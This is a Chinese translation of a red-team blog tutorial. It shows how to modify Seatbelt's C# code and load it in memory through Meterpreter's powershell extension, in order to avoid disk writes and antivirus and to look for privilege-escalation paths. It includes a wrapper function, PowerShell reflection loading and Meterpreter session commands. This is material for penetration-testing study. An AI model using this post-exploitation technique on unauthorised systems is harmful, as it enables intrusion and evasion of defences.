使用Meterpreter在内存中运行.NET程序集

secM  1834天前

timg.jpg

在本文中,我们将为读者详细介绍如何利用Meterpreterpowershell模块在内存中执行.NET程序集。众所周知,虽然metasploitMeterpreter的功能已经非常丰富,但某些情况下,仍然找不到符合自己特殊要求的功能。而Cobalt Strike则提供了一个execute-assembly命令,用于在缺少内置命令的情况下在内存中执行.NET程序集。实际上,利用Meterpreter也能做到这一点,不过要稍微复杂一些。

下面,假设Meterpreter会话当前运行在非特权环境中,并且,为了完成我们的操作,必须进行提权。不幸的是,在检查所有默认的metasploit PrivEsc后,没有找到我们需要的东东。这时,最便捷的解决方案就是将其他工具上载到目标机器中,并直接运行它们。但是,AV产品可能是这种解决方案的一个拦路虎。

为了快捷的解决这个难题,其中的一种方法就是完全在内存中执行代码,从而避免对磁盘进行写操作。如果您还不熟悉内存执行的相关概念,那么不要紧,简单来说,就是将程序直接映射到内存中,并在其中执行,而不是将磁盘上的文件加载至内存。欲知更多细节,请观看这里的视频介绍。即使不熟悉Cobalt Strike的读者,通过这些视频也能很好地理解与内存执行相关的概念。

对于本文来说,我们将尝试在目标系统上运行Seatbelt,以帮助识别各种权限提升途径。同时,本文还会详细介绍使用Meterpreter据点在内存中执行Seatbelt程序集所需的各个步骤,就像C2框架为CoBalt Strike时所做的那样。

为此,读者仅需要:

  • Windows机器(或虚拟机)上安装Visual Studio Code
  • 安装.NET 3.5/.NET 4.0运行环境
  • 需要运行的某些C#代码,Seatbelt。当然,只要您喜欢,也可以使用您自己的代码。
  • 在安装了相应.NET运行时的目标Windows系统上的Meterpreter会话
  • 花费15-20分钟的宝贵时间

构建C#项目

首先,在安装Visual StudioCodeWindows系统上下载Seatbelt项目,然后,打开Visual Studio项目文件Seatbelt.sln。通过在Visual Studio项目中将构建配置从“调试”改为“发布”,并构建项目,并确保一切正常。

如果一切顺利的话,将输出下列内容:

1>------ Build started: Project:Seatbelt, Configuration: Release Any CPU ------

1> Seatbelt ->C:\Users\vmtest\Desktop\Seatbelt-master\Seatbelt\bin\Release\Seatbelt.exe

========== Build: 1 succeeded, 0 failed, 0up-to-date, 0 skipped ==========

一旦构建完成,最好从PowerShell提示符下运行Seatbelt.exe,以验证是否能够正常运行。

修改项目代码

为了从带有powershell模块的Meterpreter会话中运行程序,需要对源代码稍作修改。首先,我们需要修改Program类的可访问级别。为此,需要添加一个访问修饰符public,以允许我们运行作为库导入的代码(稍后将做详细的介绍)。

Program.cs中的第155行:

         classProgram

         {

改为:

         publicclass Program

         {

接下来,添加一个通过Meterpreter调用的导出函数。为此,可以修改Seatbelt程序的代码,并导出已经编写好的函数。或者,对Main进行封装,重定向console.stdout流,并通过PowerShell模块与包装函数进行交互。在这里,我们将使用第二种方法,将下面的函数添加到SeatbeltProgram.cs中:

首先,在顶部添加下面的代码:

using System.IO;

using System.Text;

static void Main之前添加下列代码:

public static string BuckleUp()

{

   MemoryStream stream = new MemoryStream();

   StreamWriter sw = new StreamWriter(stream);

   TextWriter old_stdout = Console.Out;

   Console.SetOut(sw);

 

   //hard coded command line arguments

   string[] args = "all".Split(null);

   Main(args);

 

   Console.SetOut(old_stdout);

   sw.Flush();

   string output = Encoding.ASCII.GetString(stream.ToArray());

   sw.Close();

   return output;

}

这里含有两个重要的修饰符,一是必须将函数声明为public,这样就可以从外部调用(即从Meterpreter中的powershell模块中进行调用),而是字段修饰符static,有了它,这个函数就是类型声明的一部分,而不是对象声明的一部分。

上面的代码返回一个字符串,以避免从PowerShell模块执行时,返回的内容被显示到stdout,而非me tasploit控制台的问题。返回的字符串包含Seatbelt写入控制台的所有内容。BuckleUp函数将默认的stdout流改为内存缓冲区,然后使用硬编码命令行执行SeatbeltMain函数。在Seatbelt完成后,会刷新缓冲区,并将返回字符串作为输出。这绝对是一种“hacky”方法,免去了对Seatbelt源代码进行大量修改的麻烦,并且可以轻松扩展到许多其他控制台应用程序的post-ex项目。

现在,我们可以利用项目的Release配置来重新构建Seatbelt项目(或您自己的项目)。当然,不需要对该配置进行任何更改,它仍然可以构建为.NET可执行文件。

使用Powershell完成加载和测试

在加载Meterpreter之前,请在虚拟机上进行本地测试。为此,可以打开PowerShell提示符,并使用以下命令来加载文件。

Windows PowerShell

Copyright (C) Microsoft Corporation. Allrights reserved.

 

PS C:\Users\vmtest>[Reflection.Assembly]::LoadFile("C:\Users\vmtest\Desktop\Seatbelt-master\Seatbelt\bin\Release\Seatbelt.exe")

 

GAC   Version        Location

---   -------        --------

False v2.0.50727    C:\Users\vmtest\Desktop\Seatbelt-master\Seatbelt\bin\Release\Seatbelt.exe

 

 

PS C:\Users\vmtest>[Seatbelt.Program]::BuckleUp("all")

如果一切顺利的话,接下来就可以用Meterpreter来执行了。

使用Meterpreter完成加载工作

.NET可执行文件复制到Meterpreter服务器,并将扩展名从.exe改为.dll。之所以这么做,是因为metasploitpowershell_import拒绝加载不以.dll结尾的文件(即使它包含导出的函数)。然后,通过该会话运行以下命令:

msf5 exploit(multi/handler) > sessions-i 1

[*] Starting interaction with 1…

 

meterpreter > load powershell

Loading extension powershell…Success.

meterpreter > powershell_importSeatbelt.dll

[+] File successfully imported. No resultwas returned.

这样,powershell扩展就加载好了,并且也将C# Seatbelt程序集导入到了当前会话中。现在,我们就可以像在VM上一样与导出的函数进行交互了。

meterpreter > powershell_execute[Seatbelt.Program]::BuckleUp()

几秒以后:

[+] Command execution completed:

 

                       %&&@@@&&

                       &&&&&&&%%%,                      #&&@@@@@@%%%%%%###############%

                        &%&   %&%%                       &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%

%%%%%%%%%%%######%%%#%%####%  &%%**#                     @////(((&%%%%%%######################(((((((((((((((((((

#%#%%%%%%%#######%#%%#######  %&%,,,,,,,,,,,,,,,,        @////(((&%%%%%#%#####################(((((((((((((((((((

#%#%%%%%%#####%%#%#%%#######  %%%,,,,,, ,,.   ,,        @////(((&%%%%%%%######################(#(((#(#((((((((((

#####%%%####################  &%%...... ...   ..         @////(((&%%%%%%%###############%######((#(#(####((((((((

#######%##########%#########  %%%...... ...   ..        @////(((&%%%%%#########################(#(#######((#####

###%##%%####################  &%%...............          @////(((&%%%%%%%%##############%#######(#########((#####

#####%######################  %%%..                      @////(((&%%%%%%%################

                        &%&   %%%%%     Seatbelt        %////(((&%%%%%%%%#############*

                       &%%&&&%%%%%        v0.2.0         ,(((&%%%%%%%%%%%%%%%%%,

                         #%%%%##,


=== Running System Triage Checks ===

...

clipped Seatbelt output

...

结束语

在内存中执行是攻击者武器库中非常强大的一个利器。通过Meterpreter,可以将Windows机器作为初始据点,并在内存中执行.NET程序集。希望借助Seatbelt提供的额外环境,使提权变得轻而易举。当然,本文介绍的方法也可以扩展到其他C#类型的漏洞利用代码投递项目(Bloodhound),甚至是定制的项目中。

参考资料


本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://p16.praetorian.com/blog/running-a-.net-assembly-in-memory-with-meterpreter                            
转载,请注明出处:https://nosec.org/home/detail/2469.html

最新评论

昵称
邮箱
提交评论